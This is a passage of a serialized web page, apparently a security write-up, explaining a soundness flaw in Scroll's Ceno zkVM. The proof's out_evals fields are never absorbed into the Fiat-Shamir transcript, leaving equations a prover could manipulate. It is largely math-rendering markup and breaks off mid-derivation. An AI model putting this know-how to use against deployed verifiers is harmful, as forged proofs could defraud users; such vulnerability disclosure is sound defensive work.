system.",{"type":22,"tag":23,"props":119861,"children":119862},{},[119863,119867,119869],{"type":22,"tag":242,"props":119864,"children":119865},{},[119866],{"type":27,"value":118062},{"type":27,"value":119868}," Fixed on October 31, 2025 via ",{"type":22,"tag":69,"props":119870,"children":119873},{"href":119871,"rel":119872},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[73],[119874],{"type":27,"value":119875},"commit 92b6740",{"type":22,"tag":20097,"props":119877,"children":119878},{},[],{"type":22,"tag":181,"props":119880,"children":119882},{"id":119881},"ceno-scroll",[119883],{"type":27,"value":119884},"Ceno (Scroll)",{"type":22,"tag":23,"props":119886,"children":119887},{},[119888],{"type":27,"value":119889},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":22,"tag":23,"props":119891,"children":119892},{},[119893,119895,119900],{"type":27,"value":119894},"Ceno splits verification into ",{"type":22,"tag":242,"props":119896,"children":119897},{},[119898],{"type":27,"value":119899},"chips",{"type":27,"value":119901},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":22,"tag":23,"props":119903,"children":119904},{},[119905,119907,119912],{"type":27,"value":119906},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":22,"tag":242,"props":119908,"children":119909},{},[119910],{"type":27,"value":119911},"tower sumcheck",{"type":27,"value":210},{"type":22,"tag":23,"props":119914,"children":119915},{},[119916],{"type":27,"value":119917},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":22,"tag":23,"props":119919,"children":119920},{},[119921],{"type":22,"tag":257,"props":119922,"children":119924},{"className":119923},[260,261],[119925],{"type":22,"tag":264,"props":119926,"children":119928},{"className":119927},[267],[119929],{"type":22,"tag":264,"props":119930,"children":119932},{"className":119931,"ariaHidden":273},[272],[119933,120107,120280],{"type":22,"tag":264,"props":119934,"children":119936},{"className":119935},[278],[119937,119941,119999,120003,120012,120017,120027,120032,120094,120098,120103],{"type":22,"tag":264,"props":119938,"children":119940},{"className":119939,"style":94312},[283],[],{"type":22,"tag":264,"props":119942,"children":119944},{"className":119943},[22929],[119945,119951],{"type":22,"tag":264,"props":119946,"children":119948},{"className":119947,"style":22936},[22929,22934,22935],[119949],{"type":27,"value":119950},"∏",{"type":22,"tag":264,"props":119952,"children":119954},{"className":119953},[2147],[119955],{"type":22,"tag":264,"props":119956,"children":119958},{"className":119957},[305,306],[119959,119988],{"type":22,"tag":264,"props":119960,"children":119962},{"className":119961},[311],[119963,119983],{"type":22,"tag":264,"props":119964,"children":119966},{"className":119965,"style":115562},[316],[119967],{"type":22,"tag":264,"props":119968,"children":119969},{"style":22959},[119970,119974],{"type":22,"tag":264,"props":119971,"children":119973},{"className":119972,"style":2169},[326],[],{"type":22,"tag":264,"props":119975,"children":119977},{"className":119976},[332,333,334,335],[119978],{"type":22,"tag":264,"props":119979,"children":119981},{"className":119980},[289,2178,335],[119982],{"type":27,"value":5050},{"type":22,"tag":264,"props":119984,"children":119986},{"className":119985},[396],[119987],{"type":27,"value":399},{"type":22,"tag":264,"props":119989,"children":119991},{"className":119990},[311],[119992],{"type":22,"tag":264,"props":119993,"children":119995},{"className":119994,"style":115842},[316],[119996],{"type":22,"tag":264,"props":119997,"children":119998},{},[],{"type":22,"tag":264,"props":120000,"children":120002},{"className":120001,"style":5427},[420],[],{"type":22,"tag":264,"props":120004,"children":120006},{"className":120005},[289,27],[120007],{"type":22,"tag":264,"props":120008,"children":120010},{"className":120009},[289],[120011],{"type":27,"value":95188},{"type":22,"tag":264,"props":120013,"children":120015},{"className":120014,"style":94370},[289],[120016],{"type":27,"value":4385},{"type":22,"tag":264,"props":120018,"children":120020},{"className":120019},[289,27],[120021],{"type":22,"tag":264,"props":120022,"children":120024},{"className":120023},[289],[120025],{"type":27,"value":120026},"out",{"type":22,"tag":264,"props":120028,"children":120030},{"className":120029,"style":94370},[289],[120031],{"type":27,"value":4385},{"type":22,"tag":264,"props":120033,"children":120035},{"className":120034},[289],[120036,120046],{"type":22,"tag":264,"props":120037,"children":120039},{"className":120038},[289,27],[120040],{"type":22,"tag":264,"props":120041,"children":120043},{"className":120042},[289],[120044],{"type":27,"value":120045},"evals",{"type":22,"tag":264,"props":120047,"children":120049},{"className":120048},[2147],[120050],{"type":22,"tag":264,"props":120051,"children":120053},{"className":120052},[305,306],[120054,120083],{"type":22,"tag":264,"props":120055,"children":120057},{"className":120056},[311],[120058,120078],{"type":22,"tag":264,"props":120059,"children":120061},{"className":120060,"style":94898},[316],[120062],{"type":22,"tag":264,"props":120063,"children":120064},{"style":2694},[120065,120069],{"type":22,"tag":264,"props":120066,"children":120068},{"className":120067,"style":2169},[326],[],{"type":22,"tag":264,"props":120070,"children":120072},{"className":120071},[332,333,334,335],[120073],{"type":22,"tag":264,"props":120074,"children":120076},{"className":120075},[289,2178,335],[120077],{"type":27,"value":5050},{"type":22,"tag":264,"props":120079,"children":120081},{"className":120080},[396],[120082],{"type":27,"value":399},{"type":22,"tag":264,"props":120084,"children":120086},{"className":120085},[311],[120087],{"type":22,"tag":264,"props":120088,"children":120090},{"className":120089,"style":2721},[316],[120091],{"type":22,"tag":264,"props":120092,"children":120093},{},[],{"type":22,"tag":264,"props":120095,"children":120097},{"className":120096,"style":421},[420],[],{"type":22,"tag":264,"props":120099,"children":120101},{"className":120100},[426],[120102],{"type":27,"value":429},{"type":22,"tag":264,"props":120104,"children":120106},{"className":120105,"style":421},[420],[],{"type":22,"tag":264,"props":120108,"children":120110},{"className":120109},[278],[120111,120116,120173,120177,120186,120191,120200,120205,120267,120271,120276],{"type":22,"tag":264,"props":120112,"children":120115},{"className":120113,"style":120114},[283],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":22,"tag":264,"props":120117,"children":120119},{"className":120118},[22929],[120120,120125],{"type":22,"tag":264,"props":120121,"children":120123},{"className":120122,"style":22936},[22929,22934,22935],[120124],{"type":27,"value":119950},{"type":22,"tag":264,"props":120126,"children":120128},{"className":120127},[2147],[120129],{"type":22,"tag":264,"props":120130,"children":120132},{"className":120131},[305,306],[120133,120162],{"type":22,"tag":264,"props":120134,"children":120136},{"className":120135},[311],[120137,120157],{"type":22,"tag":264,"props":120138,"children":120140},{"className":120139,"style":115562},[316],[120141],{"type":22,"tag":264,"props":120142,"children":120143},{"style":22959},[120144,120148],{"type":22,"tag":264,"props":120145,"children":120147},{"className":120146,"style":2169},[326],[],{"type":22,"tag":264,"props":120149,"children":120151},{"className":120150},[332,333,334,335],[120152],{"type":22,"tag":264,"props":120153,"children":120155},{"className":120154,"style":115578},[289,2178,335],[120156],{"type":27,"value":9951},{"type":22,"tag":264,"props":120158,"children":120160},{"className":120159},[396],[120161],{"type":27,"value":399},{"type":22,"tag":264,"props":120163,"children":120165},{"className":120164},[311],[120166],{"type":22,"tag":264,"props":120167,"children":120169},{"className":120168,"style":115593},[316],[120170],{"type":22,"tag":264,"props":120171,"children":120172},{},[],{"type":22,"tag":264,"props":120174,"children":120176},{"className":120175,"style":5427},[420],[],{"type":22,"tag":264,"props":120178,"children":120180},{"className":120179},[289,27],[120181],{"type":22,"tag":264,"props":120182,"children":120184},{"className":120183},[289],[120185],{"type":27,"value":50892},{"type":22,"tag":264,"props":120187,"children":120189},{"className":120188,"style":94370},[289],[120190],{"type":27,"value":4385},{"type":22,"tag":264,"props":120192,"children":120194},{"className":120193},[289,27],[120195],{"type":22,"tag":264,"props":120196,"children":120198},{"className":120197},[289],[120199],{"type":27,"value":120026},{"type":22,"tag":264,"props":120201,"children":120203},{"className":120202,"style":94370},[289],[120204],{"type":27,"value":4385},{"type":22,"tag":264,"props":120206,"children":120208},{"className":120207},[289],[120209,120218],{"type":22,"tag":264,"props":120210,"children":120212},{"className":120211},[289,27],[120213],{"type":22,"tag":264,"props":120214,"children":120216},{"className":120215},[289],[120217],{"type":27,"value":120045},{"type":22,"tag":264,"props":120219,"children":120221},{"className":120220},[2147],[120222],{"type":22,"tag":264,"props":120223,"children":120225},{"className":120224},[305,306],[120226,120255],{"type":22,"tag":264,"props":120227,"children":120229},{"className":120228},[311],[120230,120250],{"type":22,"tag":264,"props":120231,"children":120233},{"className":120232,"style":94898},[316],[120234],{"type":22,"tag":264,"props":120235,"children":120236},{"style":2694},[120237,120241],{"type":22,"tag":264,"props":120238,"children":120240},{"className":120239,"style":2169},[326],[],{"type":22,"tag":264,"props":120242,"children":120244},{"className":120243},[332,333,334,335],[120245],{"type":22,"tag":264,"props":120246,"children":120248},{"className":120247,"style":115578},[289,2178,335],[120249],{"type":27,"value":9951},{"type":22,"tag":264,"props":120251,"children":120253},{"className":120252},[396],[120254],{"type":27,"value":399},{"type":22,"tag":264,"props":120256,"children":120258},{"className":120257},[311],[120259],{"type":22,"tag":264,"props":120260,"children":120263},{"className":120261,"style":120262},[316],"height:0.2861em;",[120264],{"type":22,"tag":264,"props":120265,"children":120266},{},[],{"type":22,"tag":264,"props":120268,"children":120270},{"className":120269,"style":665},[420],[],{"type":22,"tag":264,"props":120272,"children":120274},{"className":120273},[670],[120275],{"type":27,"value":112629},{"type":22,"tag":264,"props":120277,"children":120279},{"className":120278,"style":665},[420],[],{"type":22,"tag":264,"props":120281,"children":120283},{"className":120282},[278],[120284,120288,120293,120303],{"type":22,"tag":264,"props":120285,"children":120287},{"className":120286,"style":5409},[283],[],{"type":22,"tag":264,"props":120289,"children":120291},{"className":120290},[294],[120292],{"type":27,"value":2660},{"type":22,"tag":264,"props":120294,"children":120296},{"className":120295},[289,27],[120297],{"type":22,"tag":264,"props":120298,"children":120300},{"className":120299},[289],[120301],{"type":27,"value":120302},"state factors",{"type":22,"tag":264,"props":120304,"children":120306},{"className":120305},[415],[120307],{"type":27,"value":2806},{"type":22,"tag":23,"props":120309,"children":120310},{},[120311],{"type":22,"tag":242,"props":120312,"children":120313},{},[120314],{"type":27,"value":116769},{"type":22,"tag":618,"props":120316,"children":120318},{"code":120317},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[120319],{"type":22,"tag":257,"props":120320,"children":120321},{"__ignoreMap":7},[120322],{"type":27,"value":120317},{"type":22,"tag":23,"props":120324,"children":120325},{},[120326,120332,120333,120339,120340,120346],{"type":22,"tag":257,"props":120327,"children":120329},{"className":120328},[],[120330],{"type":27,"value":120331},"r_out_evals",{"type":27,"value":4380},{"type":22,"tag":257,"props":120334,"children":120336},{"className":120335},[],[120337],{"type":27,"value":120338},"w_out_evals",{"type":27,"value":7780},{"type":22,"tag":257,"props":120341,"children":120343},{"className":120342},[],[120344],{"type":27,"value":120345},"lk_out_evals",{"type":27,"value":120347}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":22,"tag":1867,"props":120349,"children":120350},{},[120351],{"type":22,"tag":1871,"props":120352,"children":120353},{},[120354,120359,120361,120367],{"type":22,"tag":242,"props":120355,"children":120356},{},[120357],{"type":27,"value":120358},"GKR/Tower equation",{"type":27,"value":120360}," (linear in ",{"type":22,"tag":257,"props":120362,"children":120364},{"className":120363},[],[120365],{"type":27,"value":120366},"out_evals",{"type":27,"value":25258},{"type":22,"tag":23,"props":120369,"children":120370},{},[120371,120373],{"type":27,"value":120372},"The tower sumcheck claim is ",{"type":22,"tag":257,"props":120374,"children":120376},{"className":120375},[260,261],[120377],{"type":22,"tag":264,"props":120378,"children":120380},{"className":120379},[267],[120381],{"type":22,"tag":264,"props":120382,"children":120384},{"className":120383,"ariaHidden":273},[272],[120385,120416,120541],{"type":22,"tag":264,"props":120386,"children":120388},{"className":120387},[278],[120389,120393,120403,120407,120412],{"type":22,"tag":264,"props":120390,"children":120392},{"className":120391,"style":94285},[283],[],{"type":22,"tag":264,"props":120394,"children":120396},{"className":120395},[289,27],[120397],{"type":22,"tag":264,"props":120398,"children":120400},{"className":120399},[289],[120401],{"type":27,"value":120402},"claim",{"type":22,"tag":264,"props":120404,"children":120406},{"className":120405,"style":421},[420],[],{"type":22,"tag":264,"props":120408,"children":120410},{"className":120409},[426],[120411],{"type":27,"value":429},{"type":22,"tag":264,"props":120413,"children":120415},{"className":120414,"style":421},[420],[],{"type":22,"tag":264,"props":120417,"children":120419},{"className":120418},[278],[120420,120425,120482,120486,120528,120532,120537],{"type":22,"tag":264,"props":120421,"children":120424},{"className":120422,"style":120423},[283],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":22,"tag":264,"props":120426,"children":120428},{"className":120427},[22929],[120429,120434],{"type":22,"tag":264,"props":120430,"children":120432},{"className":120431,"style":22936},[22929,22934,22935],[120433],{"type":27,"value":110163},{"type":22,"tag":264,"props":120435,"children":120437},{"className":120436},[2147],[120438],{"type":22,"tag":264,"props":120439,"children":120441},{"className":120440},[305,306],[120442,120471],{"type":22,"tag":264,"props":120443,"children":120445},{"className":120444},[311],[120446,120466],{"type":22,"tag":264,"props":120447,"children":120449},{"className":120448,"style":115562},[316],[120450],{"type":22,"tag":264,"props":120451,"children":120452},{"style":22959},[120453,120457],{"type":22,"tag":264,"props":120454,"children":120456},{"className":120455,"style":2169},[326],[],{"type":22,"tag":264,"props":120458,"children":120460},{"className":120459},[332,333,334,335],[120461],{"type":22,"tag":264,"props":120462,"children":120464},{"className":120463,"style":115578},[289,2178,335],[120465],{"type":27,"value":9951},{"type":22,"tag":264,"props":120467,"children":120469},{"className":120468},[396],[120470],{"type":27,"value":399},{"type":22,"tag":264,"props":120472,"children":120474},{"className":120473},[311],[120475],{"type":22,"tag":264,"props":120476,"children":120478},{"className":120477,"style":115593},[316],[120479],{"type":22,"tag":264,"props":120480,"children":120481},{},[],{"type":22,"tag":264,"props":120483,"children":120485},{"className":120484,"style":5427},[420],[],{"type":22,"tag":264,"props":120487,"children":120489},{"className":120488},[289],[120490,120495],{"type":22,"tag":264,"props":120491,"children":120493},{"className":120492,"style":116442},[289,2178],[120494],{"type":27,"value":116445},{"type":22,"tag":264,"props":120496,"children":120498},{"className":120497},[2147],[120499],{"type":22,"tag":264,"props":120500,"children":120502},{"className":120501},[305],[120503],{"type":22,"tag":264,"props":120504,"children":120506},{"className":120505},[311],[120507],{"type":22,"tag":264,"props":120508,"children":120511},{"className":120509,"style":120510},[316],"height:0.8247em;",[120512],{"type":22,"tag":264,"props":120513,"children":120514},{"style":5353},[120515,120519],{"type":22,"tag":264,"props":120516,"children":120518},{"className":120517,"style":2169},[326],[],{"type":22,"tag":264,"props":120520,"children":120522},{"className":120521},[332,333,334,335],[120523],{"type":22,"tag":264,"props":120524,"children":120526},{"className":120525,"style":115578},[289,2178,335],[120527],{"type":27,"value":9951},{"type":22,"tag":264,"props":120529,"children":120531},{"className":120530,"style":665},[420],[],{"type":22,"tag":264,"props":120533,"children":120535},{"className":120534},[670],[120536],{"type":27,"value":112629},{"type":22,"tag":264,"props":120538,"children":120540},{"className":120539,"style":665},[420],[],{"type":22,"tag":264,"props":120542,"children":120544},{"className":120543},[278],[120545,120549,120558,120563],{"type":22,"tag":264,"props":120546,"children":120548},{"className":120547,"style":95781},[283],[],{"type":22,"tag":264,"props":120550,"children":120552},{"className":120551},[289,27],[120553],{"type":22,"tag":264,"props":120554,"children":120556},{"className":120555},[289],[120557],{"type":27,"value":120026},{"type":22,"tag":264,"props":120559,"children":120561},{"className":120560,"style":94370},[289],[120562],{"type":27,"value":4385},{"type":22,"tag":264,"props":120564,"children":120566},{"className":120565},[289],[120567,120576],{"type":22,"tag":264,"props":120568,"children":120570},{"className":120569},[289,27],[120571],{"type":22,"tag":264,"props":120572,"children":120574},{"className":120573},[289],[120575],{"type":27,"value":120045},{"type":22,"tag":264,"props":120577,"children":120579},{"className":120578},[2147],[120580],{"type":22,"tag":264,"props":120581,"children":120583},{"className":120582},[305,306],[120584,120613],{"type":22,"tag":264,"props":120585,"children":120587},{"className":120586},[311],[120588,120608],{"type":22,"tag":264,"props":120589,"children":120591},{"className":120590,"style":94898},[316],[120592],{"type":22,"tag":264,"props":120593,"children":120594},{"style":2694},[120595,120599],{"type":22,"tag":264,"props":120596,"children":120598},{"className":120597,"style":2169},[326],[],{"type":22,"tag":264,"props":120600,"children":120602},{"className":120601},[332,333,334,335],[120603],{"type":22,"tag":264,"props":120604,"children":120606},{"className":120605,"style":115578},[289,2178,335],[120607],{"type":27,"value":9951},{"type":22,"tag":264,"props":120609,"children":120611},{"className":120610},[396],[120612],{"type":27,"value":399},{"type":22,"tag":264,"props":120614,"children":120616},{"className":120615},[311],[120617],{"type":22,"tag":264,"props":120618,"children":120620},{"className":120619,"style":120262},[316],[120621],{"type":22,"tag":264,"props":120622,"children":120623},{},[],{"type":22,"tag":23,"props":120625,"children":120626},{},[120627,120629,120634],{"type":27,"value":120628},"This check is linear in ",{"type":22,"tag":257,"props":120630,"children":120632},{"className":120631},[],[120633],{"type":27,"value":120366},{"type":27,"value":210},{"type":22,"tag":1867,"props":120636,"children":120637},{"start":1545},[120638],{"type":22,"tag":1871,"props":120639,"children":120640},{},[120641,120646,120648,120653],{"type":22,"tag":242,"props":120642,"children":120643},{},[120644],{"type":27,"value":120645},"rw-product consistency",{"type":27,"value":120647}," (bilinear in ",{"type":22,"tag":257,"props":120649,"children":120651},{"className":120650},[],[120652],{"type":27,"value":120366},{"type":27,"value":25258},{"type":22,"tag":23,"props":120655,"children":120656},{},[120657],{"type":22,"tag":257,"props":120658,"children":120660},{"className":120659},[260,261],[120661],{"type":22,"tag":264,"props":120662,"children":120664},{"className":120663},[267],[120665],{"type":22,"tag":264,"props":120666,"children":120668},{"className":120667,"ariaHidden":273},[272],[120669,120840,121011],{"type":22,"tag":264,"props":120670,"children":120672},{"className":120671},[278],[120673,120677,120734,120738,120747,120752,120761,120766,120827,120831,120836],{"type":22,"tag":264,"props":120674,"children":120676},{"className":120675,"style":94312},[283],[],{"type":22,"tag":264,"props":120678,"children":120680},{"className":120679},[22929],[120681,120686],{"type":22,"tag":264,"props":120682,"children":120684},{"className":120683,"style":22936},[22929,22934,22935],[120685],{"type":27,"value":119950},{"type":22,"tag":264,"props":120687,"children":120689},{"className":120688},[2147],[120690],{"type":22,"tag":264,"props":120691,"children":120693},{"className":120692},[305,306],[120694,120723],{"type":22,"tag":264,"props":120695,"children":120697},{"className":120696},[311],[120698,120718],{"type":22,"tag":264,"props":120699,"children":120701},{"className":120700,"style":115562},[316],[120702],{"type":22,"tag":264,"props":120703,"children":120704},{"style":22959},[120705,120709],{"type":22,"tag":264,"props":120706,"children":120708},{"className":120707,"style":2169},[326],[],{"type":22,"tag":264,"props":120710,"children":120712},{"className":120711},[332,333,334,335],[120713],{"type":22,"tag":264,"props":120714,"children":120716},{"className":120715},[289,2178,335],[120717],{"type":27,"value":5050},{"type":22,"tag":264,"props":120719,"children":120721},{"className":120720},[396],[120722],{"type":27,"value":399},{"type":22,"tag":264,"props":120724,"children":120726},{"className":120725},[311],[120727],{"type":22,"tag":264,"props":120728,"children":120730},{"className":120729,"style":115842},[316],[120731],{"type":22,"tag":264,"props":120732,"children":120733},{},[],{"type":22,"tag":264,"props":120735,"children":120737},{"className":120736,"style":5427},[420],[],{"type":22,"tag":264,"props":120739,"children":120741},{"className":120740},[289,27],[120742],{"type":22,"tag":264,"props":120743,"children":120745},{"className":120744},[289],[120746],{"type":27,"value":95188},{"type":22,"tag":264,"props":120748,"children":120750},{"className":120749,"style":94370},[289],[120751],{"type":27,"value":4385},{"type":22,"tag":264,"props":120753,"children":120755},{"className":120754},[289,27],[120756],{"type":22,"tag":264,"props":120757,"children":120759},{"className":120758},[289],[120760],{"type":27,"value":120026},{"type":22,"tag":264,"props":120762,"children":120764},{"className":120763,"style":94370},[289],[120765],{"type":27,"value":4385},{"type":22,"tag":264,"props":120767,"children":120769},{"className":120768},[289],[120770,120779],{"type":22,"tag":264,"props":120771,"children":120773},{"className":120772},[289,27],[120774],{"type":22,"tag":264,"props":120775,"children":120777},{"className":120776},[289],[120778],{"type":27,"value":120045},{"type":22,"tag":264,"props":120780,"children":120782},{"className":120781},[2147],[120783],{"type":22,"tag":264,"props":120784,"children":120786},{"className":120785},[305,306],[120787,120816],{"type":22,"tag":264,"props":120788,"children":120790},{"className":120789},[311],[120791,120811],{"type":22,"tag":264,"props":120792,"children":120794},{"className":120793,"style":94898},[316],[120795],{"type":22,"tag":264,"props":120796,"children":120797},{"style":2694},[120798,120802],{"type":22,"tag":264,"props":120799,"children":120801},{"className":120800,"style":2169},[326],[],{"type":22,"tag":264,"props":120803,"children":120805},{"className":120804},[332,333,334,335],[120806],{"type":22,"tag":264,"props":120807,"children":120809},{"className":120808},[289,2178,335],[120810],{"type":27,"value":5050},{"type":22,"tag":264,"props":120812,"children":120814},{"className":120813},[396],[120815],{"type":27,"value":399},{"type":22,"tag":264,"props":120817,"children":120819},{"className":120818},[311],[120820],{"type":22,"tag":264,"props":120821,"children":120823},{"className":120822,"style":2721},[316],[120824],{"type":22,"tag":264,"props":120825,"children":120826},{},[],{"type":22,"tag":264,"props":120828,"children":120830},{"className":120829,"style":421},[420],[],{"type":22,"tag":264,"props":120832,"children":120834},{"className":120833},[426],[120835],{"type":27,"value":429},{"type":22,"tag":264,"props":120837,"children":120839},{"className":120838,"style":421},[420],[],{"type":22,"tag":264,"props":120841,"children":120843},{"className":120842},[278],[120844,120848,120905,120909,120918,120923,120932,120937,120998,121002,121007],{"type":22,"tag":264,"props":120845,"children":120847},{"className":120846,"style":120114},[283],[],{"type":22,"tag":264,"props":120849,"children":120851},{"className":120850},[22929],[120852,120857],{"type":22,"tag":264,"props":120853,"children":120855},{"className":120854,"style":22936},[22929,22934,22935],[120856],{"type":27,"value":119950},{"type":22,"tag":264,"props":120858,"children":120860},{"className":120859},[2147],[120861],{"type":22,"tag":264,"props":120862,"children":120864},{"className":120863},[305,306],[120865,120894],{"type":22,"tag":264,"props":120866,"children":120868},{"className":120867},[311],[120869,120889],{"type":22,"tag":264,"props":120870,"children":120872},{"className":120871,"style":115562},[316],[120873],{"type":22,"tag":264,"props":120874,"children":120875},{"style":22959},[120876,120880],{"type":22,"tag":264,"props":120877,"children":120879},{"className":120878,"style":2169},[326],[],{"type":22,"tag":264,"props":120881,"children":120883},{"className":120882},[332,333,334,335],[120884],{"type":22,"tag":264,"props":120885,"children":120887},{"className":120886,"style":115578},[289,2178,335],[120888],{"type":27,"value":9951},{"type":22,"tag":264,"props":120890,"children":120892},{"className":120891},[396],[120893],{"type":27,"value":399},{"type":22,"tag":264,"props":120895,"children":120897},{"className":120896},[311],[120898],{"type":22,"tag":264,"props":120899,"children":120901},{"className":120900,"style":115593},[316],[120902],{"type":22,"tag":264,"props":120903,"children":120904},{},[],{"type":22,"tag":264,"props":120906,"children":120908},{"className":120907,"style":5427},[420],[],{"type":22,"tag":264,"props":120910,"children":120912},{"className":120911},[289,27],[120913],{"type":22,"tag":264,"props":120914,"children":120916},{"className":120915},[289],[120917],{"type":27,"value":50892},{"type":22,"tag":264,"props":120919,"children":120921},{"className":120920,"style":94370},[289],[120922],{"type":27,"value":4385},{"type":22,"tag":264,"props":120924,"children":120926},{"className":120925},[289,27],[120927],{"type":22,"tag":264,"props":120928,"children":120930},{"className":120929},[289],[120931],{"type":27,"value":120026},{"type":22,"tag":264,"props":120933,"children":120935},{"className":120934,"style":94370},[289],[120936],{"type":27,"value":4385},{"type":22,"tag":264,"props":120938,"children":120940},{"className":120939},[289],[120941,120950],{"type":22,"tag":264,"props":120942,"children":120944},{"className":120943},[289,27],[120945],{"type":22,"tag":264,"props":120946,"children":120948},{"className":120947},[289],[120949],{"type":27,"value":120045},{"type":22,"tag":264,"props":120951,"children":120953},{"className":120952},[2147],[120954],{"type":22,"tag":264,"props":120955,"children":120957},{"className":120956},[305,306],[120958,120987],{"type":22,"tag":264,"props":120959,"children":120961},{"className":120960},[311],[120962,120982],{"type":22,"tag":264,"props":120963,"children":120965},{"className":120964,"style":94898},[316],[120966],{"type":22,"tag":264,"props":120967,"children":120968},{"style":2694},[120969,120973],{"type":22,"tag":264,"props":120970,"children":120972},{"className":120971,"style":2169},[326],[],{"type":22,"tag":264,"props":120974,"children":120976},{"className":120975},[332,333,334,335],[120977],{"type":22,"tag":264,"props":120978,"children":120980},{"className":120979,"style":115578},[289,2178,335],[120981],{"type":27,"value":9951},{"type":22,"tag":264,"props":120983,"children":120985},{"className":120984},[396],[120986],{"type":27,"value":399},{"type":22,"tag":264,"props":120988,"children":120990},{"className":120989},[311],[120991],{"type":22,"tag":264,"props":120992,"children":120994},{"className":120993,"style":120262},[316],[120995],{"type":22,"tag":264,"props":120996,"children":120997},{},[],{"type":22,"tag":264,"props":120999,"children":121001},{"className":121000,"style":665},[420],[],{"type":22,"tag":264,"props":121003,"children":121005},{"className":121004},[670],[121006],{"type":27,"value":112629},{"type":22,"tag":264,"props":121008,"children":121010},{"className":121009,"style":665},[420],[],{"type":22,"tag":264,"props":121012,"children":121014},{"className":121013},[278],[121015,121019,121024,121033],{"type":22,"tag":264,"props":121016,"children":121018},{"className":121017,"style":5409},[283],[],{"type":22,"tag":264,"props":121020,"children":121022},{"className":121021},[294],[121023],{"type":27,"value":2660},{"type":22,"tag":264,"props":121025,"children":121027},{"className":121026},[289,27],[121028],{"type":22,"tag":264,"props":121029,"children":121031},{"className":121030},[289],[121032],{"type":27,"value":120302},{"type":22,"tag":264,"props":121034,"children":121036},{"className":121035},[415],[121037],{"type":27,"value":2806},{"type":22,"tag":23,"props":121039,"children":121040},{},[121041,121043,121212,121213,121382],{"type":27,"value":121042},"If we vary ",{"type":22,"tag":257,"props":121044,"children":121046},{"className":121045},[260,261],[121047],{"type":22,"tag":264,"props":121048,"children":121050},{"className":121049},[267],[121051],{"type":22,"tag":264,"props":121052,"children":121054},{"className":121053,"ariaHidden":273},[272],[121055,121133],{"type":22,"tag":264,"props":121056,"children":121058},{"className":121057},[278],[121059,121063,121120,121124,121129],{"type":22,"tag":264,"props":121060,"children":121062},{"className":121061,"style":111337},[283],[],{"type":22,"tag":264,"props":121064,"children":121066},{"className":121065},[289],[121067,121072],{"type":22,"tag":264,"props":121068,"children":121070},{"className":121069},[289,2178],[121071],{"type":27,"value":20581},{"type":22,"tag":264,"props":121073,"children":121075},{"className":121074},[2147],[121076],{"type":22,"tag":264,"props":121077,"children":121079},{"className":121078},[305,306],[121080,121109],{"type":22,"tag":264,"props":121081,"children":121083},{"className":121082},[311],[121084,121104],{"type":22,"tag":264,"props":121085,"children":121087},{"className":121086,"style":94422},[316],[121088],{"type":22,"tag":264,"props":121089,"children":121090},{"style":94426},[121091,121095],{"type":22,"tag":264,"props":121092,"children":121094},{"className":121093,"style":2169},[326],[],{"type":22,"tag":264,"props":121096,"children":121098},{"className":121097},[332,333,334,335],[121099],{"type":22,"tag":264,"props":121100,"children":121102},{"className":121101},[289,335],[121103],{"type":27,"value":5334},{"type":22,"tag":264,"props":121105,"children":121107},{"className":121106},[396],[121108],{"type":27,"value":399},{"type":22,"tag":264,"props":121110,"children":121112},{"className":121111},[311],[121113],{"type":22,"tag":264,"props":121114,"children":121116},{"className":121115,"style":2721},[316],[121117],{"type":22,"tag":264,"props":121118,"children":121119},{},[],{"type":22,"tag":264,"props":121121,"children":121123},{"className":121122,"style":421},[420],[],{"type":22,"tag":264,"props":121125,"children":121127},{"className":121126},[426],[121128],{"type":27,"value":429},{"type":22,"tag":264,"props":121130,"children":121132},{"className":121131,"style":421},[420],[],{"type":22,"tag":264,"props":121134,"children":121136},{"className":121135},[278],[121137,121141,121182,121187,121192,121197,121202,121207],{"type":22,"tag":264,"props":121138,"children":121140},{"className":121139,"style":94312},[283],[],{"type":22,"tag":264,"props":121142,"children":121144},{"className":121143},[289],[121145,121154,121159,121168,121173],{"type":22,"tag":264,"props":121146,"children":121148},{"className":121147},[289,27],[121149],{"type":22,"tag":264,"props":121150,"children":121152},{"className":121151},[289],[121153],{"type":27,"value":95188},{"type":22,"tag":264,"props":121155,"children":121157},{"className":121156,"style":94370},[289],[121158],{"type":27,"value":4385},{"type":22,"tag":264,"props":121160,"children":121162},{"className":121161},[289,27],[121163],{"type":22,"tag":264,"props":121164,"children":121166},{"className":121165},[289],[121167],{"type":27,"value":120026},{"type":22,"tag":264,"props":121169,"children":121171},{"className":121170,"style":94370},[289],[121172],{"type":27,"value":4385},{"type":22,"tag":264,"props":121174,"children":121176},{"className":121175},[289,27],[121177],{"type":22,"tag":264,"props":121178,"children":121180},{"className":121179},[289],[121181],{"type":27,"value":120045},{"type":22,"tag":264,"props":121183,"children":121185},{"className":121184},[294],[121186],{"type":27,"value":5045},{"type":22,"tag":264,"props":121188,"children":121190},{"className":121189},[289],[121191],{"type":27,"value":5334},{"type":22,"tag":264,"props":121193,"children":121195},{"className":121194},[415],[121196],{"type":27,"value":16710},{"type":22,"tag":264,"props":121198,"children":121200},{"className":121199},[294],[121201],{"type":27,"value":5045},{"type":22,"tag":264,"props":121203,"children":121205},{"className":121204},[289],[121206],{"type":27,"value":5334},{"type":22,"tag":264,"props":121208,"children":121210},{"className":121209},[415],[121211],{"type":27,"value":16710},{"type":27,"value":12290},{"type":22,"tag":257,"props":121214,"children":121216},{"className":121215},[260,261],[121217],{"type":22,"tag":264,"props":121218,"children":121220},{"className":121219},[267],[121221],{"type":22,"tag":264,"props":121222,"children":121224},{"className":121223,"ariaHidden":273},[272],[121225,121303],{"type":22,"tag":264,"props":121226,"children":121228},{"className":121227},[278],[121229,121233,121290,121294,121299],{"type":22,"tag":264,"props":121230,"children":121232},{"className":121231,"style":111337},[283],[],{"type":2